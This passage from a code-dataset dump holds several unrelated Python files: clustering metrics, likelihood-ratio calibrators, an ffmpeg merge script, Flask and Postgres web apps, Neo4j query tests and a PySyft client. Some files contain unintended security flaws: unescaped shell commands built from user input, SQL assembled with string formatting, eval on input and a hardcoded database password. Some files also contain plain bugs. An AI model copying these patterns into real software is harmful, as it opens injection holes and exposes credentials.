clusterMatch.keys()\n count = 0\n total_count = len(trueY)\n for trueCluster in trueClusters:\n fittedClusters = clusterMatch[trueCluster]\n for fittedCluster in fittedClusters:\n count = count + dictFitted2True[fittedCluster]['overallRecallCount']\n acc = count/total_count\n result = dict()\n result['overallRecall'] = acc\n result['match'] = clusterMatch\n result['details'] = dictFitted2True \n result['moreEvaluation'] = clusterEvaluation(trueY, fittedY)\n return result\n \ndef clusterAccuracy(trueY, fittedY):\n dictFitted2True = obtainTrueClusterLabel4AllFittedCluster(trueY, fittedY)\n total_count = len(trueY)\n count = 0\n for key in dictFitted2True.keys():\n values = dictFitted2True[key]\n if values['prec'] >0.5 or values['recall'] >0.5:\n count += values['overallRecallCount']\n acc = count/total_count\n clusterMatch = obtainDictFromTrueToFitted(dictFitted2True)\n result = dict()\n result['overallRecall'] = acc\n result['match'] = clusterMatch\n result['details'] = dictFitted2True \n result['moreEvaluation'] = clusterEvaluation(trueY, fittedY)\n return result\n\n\n\ndef obtainSilhouetteScore(X, fittedY):\n ## this score can be used to select the number of clusters\n ## a value closer to 1 is better\n ## A value of 0 indicates that the sample is on or very close to the decision \n ## boundary between two neighboring clusters and negative values indicate that \n ## those samples might have been assigned to the wrong cluster.\n \"\"\"\n Args: X is the original sample data used for clustering\n fittedY represents the fitted cluster label\n Returns: silhouette_score, a score close to 0 indicates good clustering\n \"\"\"\n result = silhouette_score(X, fittedY)\n return result\n\n##################################################\ndef obtainFittedYFromDP(DPParam, z_fit):\n \"\"\"\n Given the fitted dp model saved in DPParam and the observation, in the \n VAE case, z_fit represents the latent representation, this function\n return the fittedY cluster label from the DP model for all observations\n in z_fit\n Args:\n DPParam: the object saves the fitted DP_model\n z_fit: the observation to be fit into the DP_model, it should be of \n XData class in bnpy, if not, convert it to XData type\n Return:\n the fitted cluster label for each observation in z_fit\n \"\"\"\n dp_model = DPParam['model']\n ## transform z_fit to XData\n if not isinstance(z_fit, XData):\n z_fit = XData(z_fit)\n LP = dp_model.calc_local_params(z_fit)\n LPMtx = LP['E_log_soft_ev']\n ## to obtain hard assignment of clusters for each observation\n fittedY = LPMtx.argmax(axis=1)\n return fittedY\n \n\n\ndef acc_single_number(trueY, fittedY, clusterTrue, clusterFitted):\n trueInd = np.where(trueY==clusterTrue)[0]\n numTrue = len(trueInd)\n fittedInd = np.where(fittedY==clusterFitted)[0]\n ## proportion of fittedInd in trueInd\n truePos = np.intersect1d(fittedInd, trueInd)\n \n precision = len(truePos)/len(fittedInd)\n recall = len(truePos)/len(trueInd)\n \n ## find the element in trueInd but not in fittedInd\n indDiff = np.setdiff1d(trueInd, fittedInd)\n otherCluster, counts = np.unique(fittedY[indDiff], return_counts=True)\n \n result = dict()\n result['prec'] = precision\n result['recall'] = recall\n result['trueInd'] = trueInd\n result['fittedInd'] = fittedInd\n result['indDiff'] = indDiff\n result['otherClusterOfFitted'] = otherCluster\n result['countsOfOtherCluster'] = counts\n return result","sub_path":"bnpy/util/AnalyzeDP.py","file_name":"AnalyzeDP.py","file_ext":"py","file_size_in_byte":10143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"499943860","text":"restaurants=eval(input())\nveganFriendly=int(input())\nmaxPrice=int(input())\nmaxDistance=int(input())\nfor restaurant in restaurants:\n if (restaurant[2]!=veganFriendly)or(restaurant[3]>maxPrice)or(restaurant[4]>maxDistance):\n restaurants.remove(restaurant)\nrestaurants=sorted(restaurants,key=lambda x:(x[1],x[0]),reverse=True)\nselected=[]\nfor restaurant in restaurants:\n selected.append(restaurant[0])\nprint(selected)","sub_path":"Code/CodeRecords/2527/60670/279130.py","file_name":"279130.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"359716714","text":"import logging\nimport math\nimport warnings\n\nimport numpy as np\nfrom sklearn.base import BaseEstimator\nfrom sklearn.base import TransformerMixin\nfrom sklearn.exceptions import NotFittedError\nfrom sklearn.isotonic import IsotonicRegression\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.mixture import GaussianMixture\nfrom sklearn.neighbors import KernelDensity\n\nfrom .bayeserror import elub\nfrom .util import Xy_to_Xn, to_odds\n\nLOG = logging.getLogger(__name__)\n\n\nclass NormalizedCalibrator(BaseEstimator, TransformerMixin):\n \"\"\"\n Normalizer for any calibration function.\n\n Scales the probability density function of a calibrator so that the\n probability mass is 1.\n \"\"\"\n\n def __init__(self, calibrator, add_one=False, sample_size=100, value_range=(0, 1)):\n self.calibrator = calibrator\n self.add_one = add_one\n self.value_range = value_range\n self.step_size = (value_range[1] - value_range[0]) / sample_size\n\n def fit(self, X, y):\n X0, X1 = Xy_to_Xn(X, y)\n self.X0n = X0.shape[0]\n self.X1n = X1.shape[0]\n self.calibrator.fit(X, y)\n self.calibrator.transform(np.arange(self.value_range[0], self.value_range[1], self.step_size))\n self.p0mass = np.sum(self.calibrator.p0) / 100\n self.p1mass = np.sum(self.calibrator.p1) / 100\n return self\n\n def transform(self, X):\n self.calibrator.transform(X)\n self.p0 = self.calibrator.p0 / self.p0mass\n self.p1 = self.calibrator.p1 / self.p1mass\n if self.add_one:\n self.p0 = self.X0n / (self.X0n + 1) * self.p0 + 1 / self.X0n\n self.p1 = self.X1n / (self.X1n + 1) * self.p1 + 1 / self.X1n\n return self.p1 / self.p0\n\n def __getattr__(self, name):\n return getattr(self.calibrator, name)\n\n\nclass ScalingCalibrator(BaseEstimator, TransformerMixin):\n \"\"\"\n Calibrator which adjusts the LRs towards 1 depending on the sample size.\n\n This is done by adding a value of 1/sample_size to the probabilities of the underlying calibrator and\n scaling the result.\n \"\"\"\n\n def __init__(self, calibrator):\n self.calibrator = calibrator\n\n def fit(self, X, y):\n self.calibrator.fit(X, y)\n X0, X1 = Xy_to_Xn(X, y)\n self.X0n = X0.shape[0]\n self.X1n = X1.shape[0]\n return self\n\n def transform(self, X):\n self.calibrator.transform(X)\n self.p0 = self.X0n / (self.X0n + 1) * self.calibrator.p0 + 1 / self.X0n\n self.p1 = self.X1n / (self.X1n + 1) * self.calibrator.p1 + 1 / self.X1n\n return self.p1 / self.p0\n\n def __getattr__(self, name):\n return getattr(self.calibrator, name)\n\n\nclass FractionCalibrator(BaseEstimator, TransformerMixin):\n \"\"\"\n Calculates a likelihood ratio of the distance of a score value to the\n extremes of its value range.\n \"\"\"\n\n def __init__(self, value_range=(0, 1)):\n self.value_range = value_range\n\n def fit(self, X, y):\n X0, X1 = Xy_to_Xn(X, y)\n self._abs_points0 = np.abs(self.value_range[0] - X0)\n self._abs_points1 = np.abs(self.value_range[1] - X1)\n return self\n\n def density(self, X, class_value, points):\n X = np.abs(self.value_range[class_value] - X)\n\n numerator = np.array([points[points >= x].shape[0] for x in X])\n denominator = len(points)\n return numerator / denominator\n\n def transform(self, X):\n X = np.array(X)\n self.p0 = self.density(X, 0, self._abs_points0)\n self.p1 = self.density(X, 1, self._abs_points1)\n\n with np.errstate(divide='ignore'):\n return self.p1 / self.p0\n\n\nclass KDECalibrator(BaseEstimator, TransformerMixin, ):\n \"\"\"\n Calculates a likelihood ratio of a score value, provided it is from one of\n two distributions. Uses kernel density estimation (KDE) for interpolation.\n \"\"\"\n\n def __init__(self, bandwidth=None):\n self.bandwidth = bandwidth\n self._kde0 = None\n self._kde1 = None\n\n def bandwidth_silverman(self, X):\n \"\"\"\n Estimates the optimal bandwidth parameter using Silverman's rule of\n thumb.\n \"\"\"\n assert len(X) > 0\n\n std = np.std(X)\n if std == 0:\n # can happen eg if std(X) = 0\n warnings.warn('silverman bandwidth cannot be calculated if standard deviation is 0', RuntimeWarning)\n LOG.info('found a silverman bandwidth of 0 (using dummy value)')\n std = 1\n\n v = math.pow(std, 5) / len(X) * 4. / 3\n return math.pow(v, .2)\n\n def bandwidth_scott(self, X):\n \"\"\"\n Not implemented.\n \"\"\"\n raise\n\n def fit(self, X, y):\n X0, X1 = Xy_to_Xn(X, y)\n X0 = X0.reshape(-1, 1)\n X1 = X1.reshape(-1, 1)\n\n bandwidth0 = self.bandwidth or self.bandwidth_silverman(X0)\n bandwidth1 = self.bandwidth or self.bandwidth_silverman(X1)\n\n self._kde0 = KernelDensity(kernel='gaussian', bandwidth=bandwidth0).fit(X0)\n self._kde1 = KernelDensity(kernel='gaussian', bandwidth=bandwidth1).fit(X1)\n return self\n\n def transform(self, X):\n assert self._kde0 is not None, \"KDECalibrator.transform() called before fit\"\n\n X = X.reshape(-1, 1)\n self.p0 = np.exp(self._kde0.score_samples(X))\n self.p1 = np.exp(self._kde1.score_samples(X))\n return self.p1 / self.p0\n\n\nclass LogitCalibrator(BaseEstimator, TransformerMixin):\n \"\"\"\n Calculates a likelihood ratio of a score value, provided it is from one of\n two distributions. Uses logistic regression for interpolation.\n \"\"\"\n\n def fit(self, X, y):\n X = X.reshape(-1, 1)\n self._logit = LogisticRegression(class_weight='balanced')\n self._logit.fit(X, y)\n return self\n\n def transform(self, X):\n X = self._logit.predict_proba(X.reshape(-1, 1))[:, 1] # probability of class 1\n self.p0 = (1 - X)\n self.p1 = X\n return self.p1 / self.p0\n\n\nclass GaussianCalibrator(BaseEstimator, TransformerMixin):\n \"\"\"\n Calculates a likelihood ratio of a score value, provided it is from one of\n two distributions. Uses a gaussian mixture model for interpolation.\n \"\"\"\n\n def fit(self, X, y):\n X0, X1 = Xy_to_Xn(X, y)\n X0 = X0.reshape(-1, 1)\n X1 = X1.reshape(-1, 1)\n self._model0 = GaussianMixture().fit(X0)\n self._model1 = GaussianMixture().fit(X1)\n return self\n\n def transform(self, X):\n X = X.reshape(-1, 1)\n self.p0 = np.exp(self._model0.score_samples(X))\n self.p1 = np.exp(self._model1.score_samples(X))\n return self.p1 / self.p0\n\n\nclass IsotonicCalibrator(BaseEstimator, TransformerMixin):\n \"\"\"\n Calculates a likelihood ratio of a score value, provided it is from one of\n two distributions. Uses isotonic regression for interpolation.\n \"\"\"\n\n def __init__(self, add_one=False):\n self.add_one = add_one\n self._ir = IsotonicRegression()\n\n def fit(self, X, y, **fit_params):\n # prevent extreme LRs\n if ('add_one' in fit_params and fit_params['add_one']) or self.add_one:\n X = np.append(X, [1, 0])\n y = np.append(y, [0, 1])\n\n prior = np.sum(y) / y.size\n weight = y * (1 - prior) + (1 - y) * prior\n self._ir.fit(X, y, sample_weight=weight)\n\n return self\n\n def transform(self, X):\n self.p1 = self._ir.transform(X)\n self.p0 = 1 - self.p1\n return to_odds(self.p1)\n\n\nclass DummyCalibrator(BaseEstimator, TransformerMixin):\n \"\"\"\n Calculates a likelihood ratio of a score value, provided it is from one of\n two distributions. No calibration is applied. Instead, the score value is\n interpreted as a posterior probability of the value being sampled from\n class 1.\n \"\"\"\n\n def fit(self, X, y=None, **fit_params):\n return self\n\n def transform(self, X):\n self.p0 = (1 - X)\n self.p1 = X\n return self.p1 / self.p0\n\n\nclass ELUBbounder(BaseEstimator, TransformerMixin):\n \"\"\"\n Class that, given an LR system, outputs the same LRs as the system but bounded by the Empirical Upper and Lower\n Bounds as described in\n P. Vergeer, A. van Es, A. de Jongh, I. Alberink, R.D. Stoel,\n Numerical likelihood ratios outputted by LR systems are often based on extrapolation:\n when to stop extrapolating?\n Sci. Justics 56 (2016) 482-491\n\n # MATLAB code from the authors:\n\n # clear all; close all;\n # llrs_hp=csvread('...');\n # llrs_hd=csvread('...');\n # start=-7; finish=7;\n # rho=start:0.01:finish; theta=10.^rho;\n # nbe=[];\n # for k=1:length(rho)\n # if rho(k)<0\n # llrs_hp=[llrs_hp;rho(k)];\n # nbe=[nbe;(theta(k)^(-1))*mean(llrs_hp<=rho(k))+...\n # mean(llrs_hd>rho(k))];\n # else\n # llrs_hd=[llrs_hd;rho(k)];\n # nbe=[nbe;theta(k)*mean(llrs_hd>=rho(k))+...\n # mean(llrs_hp0);\n # empirical_bounds=[min(a) max(a)]\n \"\"\"\n\n def __init__(self, first_step_calibrator, also_fit_calibrator=True):\n \"\"\"\n a calibrator should be provided (optionally already fitted to data). This calibrator is called on scores,\n the resulting LRs are then bounded. If also_fit_calibrator, the first step calibrator will be fit on the same\n data used to derive the ELUB bounds\n :param first_step_calibrator: the calibrator to use. Should already have been fitted if also_fit_calibrator is False\n :param also_fit_calibrator: whether to also fit the first step calibrator when calling fit\n \"\"\"\n\n self.first_step_calibrator = first_step_calibrator\n self.also_fit_calibrator = also_fit_calibrator\n self._lower_lr_bound = None\n self._upper_lr_bound = None\n if not also_fit_calibrator:\n # check the model was fitted.\n try:\n first_step_calibrator.transform(0.5)\n except NotFittedError:\n print('calibrator should have been fit when setting also_fit_calibrator = False!')\n\n def fit(self, X, y):\n \"\"\"\n assuming that y=1 corresponds to Hp, y=0 to Hd\n \"\"\"\n if self.also_fit_calibrator:\n self.first_step_calibrator.fit(X,y)\n lrs = self.first_step_calibrator.transform(X)\n\n y = np.asarray(y).squeeze()\n self._lower_lr_bound, self._upper_lr_bound = elub(lrs, y, add_misleading=1)\n return self\n\n def transform(self, X):\n \"\"\"\n a transform entails calling the first step calibrator and applying the bounds found\n \"\"\"\n unadjusted_lrs = np.array(self.first_step_calibrator.transform(X))\n lower_adjusted_lrs = np.where(self._lower_lr_bound < unadjusted_lrs, unadjusted_lrs, self._lower_lr_bound)\n adjusted_lrs = np.where(self._upper_lr_bound > lower_adjusted_lrs, lower_adjusted_lrs, self._upper_lr_bound)\n return adjusted_lrs\n\n","sub_path":"lir/calibration.py","file_name":"calibration.py","file_ext":"py","file_size_in_byte":11075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"247028136","text":"import argparse\nimport os\nfrom pathlib import Path\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Please input video name.')\n parser.add_argument('vname', metavar='N', type=str, help='video name you want to merge with audio')\n args = parser.parse_args()\n\n if args.vname:\n vname = args.vname\n\n ffmpeg_path = str(Path('./ffmpeg/bin/').absolute()) + '/ffmpeg.exe'\n\n cmd = '{0} -i \"{1}.mp4\" -i \"{1}.m4a\" -c copy -map 0:v:0 -map 1:a:0 \"mixed_{1}.mkv\"'.format(ffmpeg_path, vname)\n\n os.system(cmd)\n\n cmd = '{0} -i \"mixed_{1}.mkv\" -y -vcodec copy -acodec copy \"Mixed_{1}.mp4\"'.format(\n ffmpeg_path, vname)\n\n os.system(cmd)\n\n os.system('del \"mixed_{0}.mkv\"'.format(vname))\n\n\n","sub_path":"ffmpeg/Add_SoundTrack_To_Video.py","file_name":"Add_SoundTrack_To_Video.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"626931715","text":"import os\nfrom flask import Flask, render_template, request, send_file\nfrom flask_bootstrap import Bootstrap\nimport LaneMarkDetector\n\n# ALLOWED_EXTENSIONS = set(['mp4'])\n\napp = Flask(__name__)\nAPP_ROOT = os.path.dirname(os.path.abspath(__file__))\nglobal filename\n\n@app.route(\"/\")\ndef home():\n return render_template(\"home.html\")\n\n@app.route(\"/input\")\ndef input():\n return render_template(\"input.html\")\n\n@app.route(\"/results\", methods=['POST'])\ndef results():\n if request.method == \"POST\":\n print(\"POST\")\n\n #Create a new folder to hold all uploads\n target = os.path.join(APP_ROOT, \"files/\")\n print(\"Target: \" + str(target))\n\n # Checks to see whether the folder exists, if not make one\n if not os.path.isdir(target):\n os.mkdir(target)\n\n for file in request.files.getlist(\"file\"):\n print(\"File: \" + str(file))\n print(type(file))\n filename = file.filename\n destination = \"\".join([target, filename])\n file.save(destination)\n #csv_file_name = LaneMarkDetector.run(filename, destination)\n LaneMarkDetector.run(filename, destination)\n #csv_file_name, data = LaneMarkDetector.run(destination)\n #print(\"Name of CSV File: \" + str(csv_file_name))\n\n\n return render_template(\"results.html\")\n\n\n@app.route('/download-csv-file/')\ndef return_files_tut():\n print(\"Downloading...\")\n try:\n return send_file('/Users/brookely/PycharmProjects/Moblr-Front-End/output_ExampleLaneMarkingVideo_ShortClip.csv', attachment_filename='output_ExampleLaneMarkingVideo_ShortClip.csv')\n except Exception as e:\n return str(e)\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"564999312","text":"import unittest\n\nfrom context import database, Cypher\n\nclass TestCypherQueries(unittest.TestCase):\n\n def test_search_protein(self):\n\n postgres_connection, neo4j_graph = database.connect(\"tests/credentials.test.json\")\n postgres_connection.close()\n\n result = Cypher.search_protein(neo4j_graph, \"ccr5\")\n\n num_entries = 0\n has_pathway = False\n has_ccl5_other = False\n has_il10ra_other = False\n for entry in result:\n num_entries += 1\n self.assertEqual(entry[\"protein\"][\"name\"], \"CCR5\")\n association = entry[\"association\"]\n\n if entry[\"other\"] is not None:\n \n if entry[\"other\"][\"name\"] == \"CCL5\":\n has_ccl5_other = True\n self.assertEqual(association[\"coexpression\"], 92)\n self.assertEqual(association[\"database\"], 900)\n self.assertEqual(association[\"textmining\"], 906)\n self.assertEqual(association[\"combined\"], 993)\n\n # if entry[\"action\"] is not None:\n # self.assertIn(entry[\"action\"][\"mode\"], [\n # \"ptmod\",\n # \"reaction\",\n # \"binding\",\n # \"catalysis\",\n # \"activation\"\n # ])\n # action = entry[\"action\"]\n\n # if action[\"mode\"] == \"binding\":\n # self.assertEqual(action[\"score\"], 849)\n # elif action[\"mode\"] == \"ptmod\":\n # self.assertEqual(action[\"score\"], 171)\n # elif action[\"mode\"] == \"catalysis\":\n # self.assertEqual(action[\"score\"], 278)\n # elif action[\"mode\"] == \"reaction\":\n # self.assertEqual(action[\"score\"], 278)\n # elif action[\"mode\"] == \"activation\":\n # self.assertEqual(action[\"score\"], 849)\n\n elif entry[\"other\"][\"name\"] == \"IL10RA\":\n has_il10ra_other = True\n self.assertEqual(association[\"coexpression\"], 246) \n self.assertEqual(association[\"textmining\"], 318)\n self.assertEqual(association[\"combined\"], 469)\n\n if entry[\"pathway\"] is not None:\n has_pathway = True\n self.assertIn(entry[\"pathway\"][\"name\"], [\n \"Toll-like receptor signaling pathway\",\n \"NOD-like receptor signaling pathway\",\n \"Cytosolic DNA-sensing pathway\",\n \"TNF signaling pathway\",\n \"Prion diseases\",\n \"Chagas disease (American trypanosomiasis)\",\n \"Influenza A\",\n \"Herpes simplex infection\",\n \"Rheumatoid arthritis\",\n \"JAK-STAT signaling pathway\",\n \"Tuberculosis\",\n \"Epstein-Barr virus infection\",\n \"Cytokine-cytokine receptor interaction\",\n \"Chemokine signaling pathway\",\n \"Endocytosis\",\n \"Toxoplasmosis\",\n \"Human cytomegalovirus infection\",\n \"Kaposi sarcoma-associated herpesvirus infection\",\n \"Human immunodeficiency virus 1 infection\",\n \"Viral carcinogenesis\"\n ])\n\n self.assertGreater(num_entries, 0)\n self.assertTrue(has_ccl5_other)\n self.assertTrue(has_il10ra_other)\n self.assertTrue(has_pathway)\n\n def test_search_pathway(self):\n postgres_connection, neo4j_graph = database.connect(\"tests/credentials.test.json\")\n postgres_connection.close()\n\n result = Cypher.search_pathway(neo4j_graph, \"chemokine\")\n\n for entry in result:\n self.assertEqual(entry[\"pathway\"][\"name\"], \"Chemokine signaling pathway\")\n self.assertEqual(\n entry[\"pathway\"][\"description\"],\n \"Inflammatory immune response requires the recruitment of leukocytes to the site \"\n \"of inflammation upon foreign insult. Chemokines are small chemoattractant peptides \"\n \"that provide directional cues for the cell trafficking and thus are vital for \"\n \"protective host response. In addition, chemokines regulate plethora of biological \"\n \"processes of hematopoietic cells to lead cellular activation, differentiation and \"\n \"survival.\"\n )\n self.assertEqual(entry[\"pathway\"][\"id\"], \"path:mmu04062\")\n self.assertEqual(sorted(map(lambda c: c[\"name\"], entry[\"classes\"])), [\"Immune system\", \"Organismal Systems\"])\n self.assertEqual(len(entry[\"proteins\"]), 180)\n\n def test_search_class(self):\n postgres_connection, neo4j_graph = database.connect(\"tests/credentials.test.json\")\n postgres_connection.close()\n\n result = Cypher.search_class(neo4j_graph, \"immune\")\n\n num_entries = 0\n for entry in result:\n num_entries += 1\n class_name = entry[\"class\"][\"name\"]\n self.assertIn(class_name, [\"Immune system\", \"Immune diseases\"])\n num_pathways = len(entry[\"pathways\"])\n if class_name == \"Immune system\":\n self.assertEqual(num_pathways, 20)\n elif class_name == \"Immune diseases\":\n self.assertEqual(num_pathways, 8)\n\n self.assertEqual(num_entries, 2)\n\nif __name__ == \"__main__\":\n print(\"Testing Cypher queries...\")\n unittest.main()\n","sub_path":"tests/test_cypher_queries.py","file_name":"test_cypher_queries.py","file_ext":"py","file_size_in_byte":5751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"283503715","text":"#import libraries\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.keras.datasets import mnist\nfrom keras.preprocessing.image import load_img,img_to_array\nimport syft as sy\n#create a client\nclient = sy.TFEWorker()\nworker_1 = sy.TFEWorker(host='localhost:5000')\nworker_2 = sy.TFEWorker(host='localhost:5001')\nworker_3 = sy.TFEWorker(host='localhost:5002')\n#connect to the secure model\nclient.connect_to_model(input_shape, output_shape, worker_1, worker_2, worker_3)\n\n# prepare the image for prediction\ndef predict(filename):\n img = load_img(filename, target_size=(32, 32))\n img = img_to_array(img)\n img = img.reshape(1, 32, 32, 3)\n img = img.astype('float32')\n img = img / 255.0\n return img\nfilenames=['horse.jpg','bird.jpg','car.jpg']\nactual_labels = [7,2,1]\n# Query the model for obtaining private predictions\nfor i,filename in enumerate(filenames):\n img = predict(filename)\n res = client.query_model(img)\n print(f\"predicted class for {filename}:{np.argmax(res)} and actual class : {actual_labels[i]}\")\n","sub_path":"Rana Tallal/Client.py","file_name":"Client.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"579877568","text":"from django.views.generic import ListView\nfrom django.http import HttpResponse\n\nimport json\n\nfrom apps.request_keeper.models import RequestKeeperModel\n\n\nclass RequestKeeperView(ListView):\n model = RequestKeeperModel\n template_name = 'request_keeper/index.html'\n context_object_name = 'requests'\n queryset = RequestKeeperModel.objects.all()[:10]\n\n\ndef new_requests_count(request):\n since = request.GET.get('last_id', 0)\n length = len(RequestKeeperModel.objects.filter(pk__gt=since))\n result = {\n 'count': length\n }\n\n data_json = json.dumps(result)\n return HttpResponse(data_json, content_type='application/json')\n\n\ndef fetching_requests(request):\n since = request.GET.get('since', 0)\n requests = RequestKeeperModel.objects.filter(pk__gt=since)[:10]\n result = {'requests': []}\n for request in requests:\n result['requests'].append({\n 'pk': request.pk,\n 'method': request.method,\n 'url': request.url,\n 'date': request.date.strftime(\"%Y-%m-%d %H:%M:%S.%f\")\n })\n data_json = json.dumps(result)\n return HttpResponse(data_json, content_type='application/json')\n","sub_path":"apps/request_keeper/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"43168953","text":"import math as mth\nimport sys\n\ndef Fibonacci(n):\n phi = (1 + mth.sqrt(5))/2\n Fibb = mth.floor((phi**n-(-phi)**(-n))/(2*phi - 1))\n return Fibb\n\ndef Leonardo(n):\n Leo = 2*Fibonacci(n+1)-1\n return Leo\n \ndef Ending(n):\n ends = [\"st\",\"nd\",\"rd\"]\n if n%10 in range(1,4) and int(n/10)%10 != 1:\n E = ends[n%10-1]\n else: E = \"th\"\n return E\n\nif len(sys.argv) == 1:\n print(\"Welcome! To find the n-th Leonardo number,\",\n \"please follow the instructions below.\")\n while True:\n try:\n N = int(input(\"Enter the number N for the N-th Leonardo number: \"))\n if N < 0:\n print(\"Please, enter a valid number (greater than zero).\")\n else: break\n except:\n print()\n print(\"Please, enter a valid number (of integer type).\")\n \nelse:\n try:\n N = int(sys.argv[1])\n except:\n print()\n print(\"The entered number is invalid (not of integer type).\")\n quit()\n else:\n if N < 0:\n print()\n print(\"The entered number is invalid (less than zero).\")\n quit()\nprint()\nprint(\"The {0}-{1} Leonardo number is {2}.\".format(N, Ending(N), Leonardo(N)))","sub_path":"lab_2/m9_lab_2_7.py","file_name":"m9_lab_2_7.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"603886293","text":"#!/usr/bin/env python3\n\n# Copyright 2018-present, Bill & Melinda Gates Foundation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport os\nimport argparse\nimport json\n\n\ndef main():\n \"\"\"\n Transforms a JSON file into a GraphQL request.\n Usage for invoking a function: ./scripts/json_to_gql.py path/to/file.json | sls invoke -f graphql\n \"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument('file', help='The JSON file to transform')\n args = parser.parse_args()\n\n with open(args.file) as f:\n j = json.load(f)\n print(json.dumps({'body': json.dumps(j)}))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"scripts/json_to_gql.py","file_name":"json_to_gql.py","file_ext":"py","file_size_in_byte":1135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"209970201","text":"from flask import Flask, render_template, request, redirect, url_for, flash\nimport psycopg2\n\napp = Flask(__name__)\n\n#conexion a base de datos\nconexion = psycopg2.connect(\n host = \"127.0.0.1\", \n database = \"Cine\", \n user = \"postgres\", \n password = \"73062466Fer\")\n\n# settings\napp.secret_key='my secret key'\n\n@app.route('/')\ndef index():\n return render_template('menu.html')\n\n@app.route('/info')\ndef info():\n return render_template('info.html')\n \n@app.route('/tablas')\ndef tablas():\n return render_template('tablas.html')\n\n#TABLA CLIENTE\n@app.route('/Cliente')\ndef Clientes():#MOSTRAR CLIENTES\n cursor = conexion.cursor()\n query = \"select * from cliente\"\n cursor.execute(query)\n data = cursor.fetchall()\n cursor.close()\n return render_template('Cliente.html', clientes = data)\n@app.route(\"/add_cliente\", methods = ['POST'])\ndef add_CLientes():#AÑADIR CLIENTES\n nombre_cliente = request.form['nombre_cliente']\n identidad_cliente = request.form['identidad_cliente']\n Email=request.form['Email']\n cur = conexion.cursor()\n cur.execute('INSERT INTO cliente (nombre_cliente, identificacion_cliente, email) VALUES(%s, %s, %s)', (nombre_cliente, identidad_cliente, Email))\n conexion.commit()\n flash('Client added successfully...')\n return redirect(url_for(\"Clientes\"))\n@app.route('/edit_cliente/', methods = ['POST', 'GET'])\ndef get_Clientes(id):#OBTENER ID CLIENTE\n cur=conexion.cursor()\n cur.execute('SELECT * FROM cliente WHERE id_cliente = %s', (id))\n data = cur.fetchall()\n return render_template('edit-client.html',client=data[0] )\n@app.route('/update_cliente/', methods=['POST'])\ndef update_client(id):#ACTUALIZAR CLIENTE\n if request.method=='POST':\n nombre_cliente=request.form['nombre_cliente']\n identidad_cliente=request.form['identidad_cliente']\n Email=request.form['Email']\n cur=conexion.cursor()\n cur.execute(\"\"\"\n UPDATE cliente\n SET nombre_cliente=%s,\n identificacion_cliente=%s,\n Email=%s\n WHERE id_cliente = %s\n \"\"\", (nombre_cliente, identidad_cliente, Email, id))\n conexion.commit()\n flash('Client Updated Successfully')\n return redirect(url_for('Clientes'))\n@app.route('/delete/', methods = ['POST', 'GET'])\ndef delete_cliente(id):#ELIMINAR CLIENTE\n cur=conexion.cursor()\n cur.execute('DELETE FROM cliente WHERE id_cliente = {0}'.format(id))\n conexion.commit()\n flash('Client Removed Successfully...')\n return redirect(url_for('Clientes'))\n#FIN TABLA CLIENTE\n\n#TABLA PELICULA\n@app.route('/Pelicula')\ndef Peliculas():#MOSTRAR PELICULAS\n cursor=conexion.cursor()\n query=\"SELECT id_pelicula,nombre_pelicula ,genero, descripcion_pelicula FROM pelicula INNER JOIN tipo_pelicula ON pelicula.id_tipo = tipo_pelicula.id_tipo;\"\n cursor.execute(query)\n data=cursor.fetchall()\n cursor.close\n return render_template('Pelicula.html', peliculas = data)\n@app.route(\"/add_pelicula\", methods = ['POST'])\ndef add_Pelicula():\n nombre_pelicula = request.form['nombre_pelicula']\n descripcion = request.form['descripcion']\n tipo_de_pelicula=request.form['tipo_de_pelicula']\n cur = conexion.cursor()\n cur.execute('INSERT INTO pelicula (nombre_pelicula, descripcion_pelicula, id_tipo) VALUES(%s, %s, %s)', (nombre_pelicula, descripcion, tipo_de_pelicula))\n\n conexion.commit()\n flash('Movie added successfully...')\n\n return redirect(url_for(\"Peliculas\"))\n@app.route('/edit_pelicula/', methods = ['POST', 'GET'])\ndef get_Peliculas(id):\n cur=conexion.cursor()\n cur.execute('SELECT * FROM pelicula WHERE id_pelicula = %s', (id))\n data = cur.fetchall()\n return render_template('edit-pelicula.html',pelicula=data[0] )\n@app.route('/update_pelicula/', methods=['POST'])\ndef update_pelicula(id):\n if request.method=='POST':\n nombre_pelicula=request.form['nombre_pelicula']\n descripcion=request.form['descripcion']\n tipo_de_pelicula=request.form['tipo_de_pelicula']\n cur=conexion.cursor()\n cur.execute(\"\"\"\n UPDATE pelicula\n SET nombre_pelicula=%s,\n descripcion_pelicula=%s,\n id_tipo=%s\n WHERE id_pelicula = %s\n \"\"\", (nombre_pelicula, descripcion, tipo_de_pelicula, id))\n conexion.commit()\n flash('Movie Updated 